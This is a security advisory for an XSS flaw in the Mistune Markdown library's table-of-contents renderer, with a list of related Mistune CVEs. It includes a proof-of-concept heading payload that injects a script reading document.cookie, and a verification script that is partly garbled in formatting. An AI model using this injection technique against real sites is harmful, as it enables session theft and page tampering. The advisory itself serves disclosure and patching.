CVE-2026-44898: Mistune TOC Anchor Injection XSS
Summary rendertocul() builds a table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="# ") and the text value (used as the visible link label) are inserted into tags via a plain Python format string — with no HTML escaping applied to either value.
Published May 14, 2026 · Updated Jun 8, 2026
Affected packages
mistune
- Ecosystem
- PyPI
- Affected
- = 3.2.0
- Fixed in
- 3.2.1
- Check
pip show mistune
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into `` tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details
File: src/mistune/toc.py
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '{}'.format(k, text)
# Neither k nor text is passed through escape() at any pointThe k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))Output — clean, safe TOC:
<ul>
<li>Introduction
<ul>
<li>Installation</li>
</ul>
</li>
</ul>Step 2 — Enable the vulnerable `heading_id` callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling ` that render_toc_ul` appends:
## x"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(document.cookie)</script>`:
'{}'.format(k, text)
becomes:
'alert(document.cookie)...'
Actual output:alert(document.cookie)x"><script>alert(document.cookie)</script><a href="
The `<script>` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.
### Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3 """H4: render_toc_ul() puts raw heading ID into without escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index): return token.get("text", "")
--- baseline ---
md_safe = create_markdown(escape=True) add_toc_hook(md_safe)
bl_file = "baseline_h4.md" bl_src = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}") print("[toc output — safe]") print(bl_out)
--- exploit ---
md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md" ex_src = '## x">alert(document.cookie) {'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}
Input — {h.escape(filename)} {h.escape(src)}
TOC output — HTML source {h.escape(out)} ↓ rendered in browser {out}
"""
page = f"""<!DOCTYPE html> H4 — TOC XSS{CSS} H4 — TOC render_toc_ul() XSS render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) — neither k (the heading ID) nor text is escaped before insertion. {case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)} {case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)} """
out_path = os.path.join(os.getcwd(), "report_h4.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}")
Example usage:python poc.py
Once you run the script, open `report_h4.html` in the browser and observe the behaviour.
## Impact
| Dimension | Assessment |
|------------------|-----------|
| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |
| **Integrity** | Arbitrary DOM manipulation, phishing form injection, forced redirects |
| **Availability** | Page crash or freeze available as secondary effect |
**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.Credited to QiaoNPC, Across-Verticals-Malaysia.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-97698
Mistune: Quadratic-time DoS in parse_link_href via unbounded parenthesis scan on empty-label links
high7.5Nov 19, 2026CVE-2026-97699
Mistune: Quadratic-time DoS in inline image parsing (precedence_scan) bypasses not-is-image guards
high7.5Nov 19, 2026CVE-2026-115355
Mistune: Path Traversal and XSS in Include directive
highOct 23, 2026CVE-2026-76098
Mistune: Denial of Service — RecursionError via Excessive Emphasis Markers in Markdown
high7.5Sep 2, 2026CVE-2026-59922
Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)
high7.5Jul 20, 2026CVE-2026-59923
Mistune: XSS via percent-encoded javascript URI bypass in safe_url()
medium6.1Jul 20, 2026
